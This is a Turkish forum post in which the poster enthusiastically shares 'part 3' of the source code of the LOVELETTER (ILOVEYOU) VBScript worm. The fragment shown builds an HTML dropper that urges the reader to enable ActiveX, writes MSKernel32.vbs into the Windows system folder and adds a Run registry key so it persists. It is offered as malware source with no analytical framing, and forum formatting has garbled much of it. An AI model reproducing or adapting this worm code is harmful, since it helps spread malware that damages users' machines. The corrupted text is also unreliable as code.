tümü

beyler gaza geldim bilgisayar virüsü

  1. 51.
    0
    part 3

    next
    Set out=Nothing
    Set mapi=Nothing
    end sub
    sub html
    On Error Resume Next
    dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
    dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<???TITLE><*** NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - <A href="mailto:LOVELETTER@-@>"&vbcrlf">LOVELETTER@-@>"&vbcrlf& _
    "<*** NAME=@-@Author@-@ CONTENT=@-@spyder ??? trojantr@yahoo.com ??? @GRAMMERSoft Group ??? Manila, Philippines ??? March <A href="mailto:2000@-@>"&vbcrlf">2000@-@>"&vbcrlf& _
    "<*** NAME=@-@Description@-@ CONTENT=@-@simple but i think this is <A href="mailto:good... @-@>"&vbcrlf">good... @-@>"&vbcrlf& _
    "<???HEAD><BODY ONMOUSEOUT=@-@window. name=#-#main#-#... HTM#-#,#-#main#-#)@-@ "&vbcrlf& _
    "ONKEYDOWN=@-@window. name=#-#main#-#;... HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ <A href="mailto:BGCOLOR=@-@#FF9933@-@>"&vbcrlf">BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
    "<CENTER><p>This HTML file need ActiveX Control<???p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<???p>"&vbcrlf& _
    "<???CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>---z---... ---<???MARQUEE> "&vbcrlf& _
    "<???BODY><???HTML>"&vbcrlf& _
    "<SCRIPT <A href="mailto:language=@-@JScript@-@>"&vbcrlf">language=@-@JScript@-@>"&vbcrlf& _
    "<???"&vbcrlf& _
    "if (window. screen){var wi=screen. availWidth;var hi=screen. availHeight;window. moveTo(0,0);window.re sizeTo(wi,hi);}"&vbcrlf& _
    "--->"&vbcrlf& _
    "<???SCRIPT>"&vbcrlf& _
    "<SCRIPT <A href="mailto:LANGUAGE=@-@VBScript@-@>"&vbcrlf">LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
    "<---"&vbcrlf& _
    "on error resume next"&vbcrlf& _
    "dim fso, dirsystem,wri, code,code2,code3,code4,aw,regdit "&vbcrlf& _
    "aw=1"&vbcrlf& _
    "code="
    dta2="set fso=CreateObject(@-@Scripting. FileSystemObject@-@)"&vbcrlf& _
    "set dirsystem=fso. GetSpecialFolder(1)"&vbcrlf& _
    "code2=replace(code,chr(91)&chr(45)&chr(91),ch r(39 ))"&vbcrlf& _
    "code3=replace(code2,chr(93)&chr(45)&chr(93),c hr(3 4))"&vbcrlf& _
    "code4=replace(code3,chr(37)&chr(45)&chr(37),c hr(9 2))"&vbcrlf& _
    "set wri=fso. CreateTextFile(<A href="mailto:dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf">dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
    "wri. write code4"&vbcrlf& _
    "wri. close"&vbcrlf& _
    "if (fso. FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
    "if (err. number=424) then"&vbcrlf& _
    "aw=0"&vbcrlf& _
    "end if"&vbcrlf& _
    "if (aw=1) then"&vbcrlf& _
    "***.write @-@ERROR: can#-#t initialize <A href="mailto:ActiveX@-@"&vbcrlf">ActiveX@-@"&vbcrlf& _
    "window. close"&vbcrlf& _
    "end if"&vbcrlf& _
    "end if"&vbcrlf& _
    "Set regedit = CreateObject(@-@WScript. Shell@-@)"&vbcrlf& _
    "regedit. RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _
    "--->"&vbcrlf& _
    Tümünü Göster
    ···
    #121065463 şikayet
   tümünü göster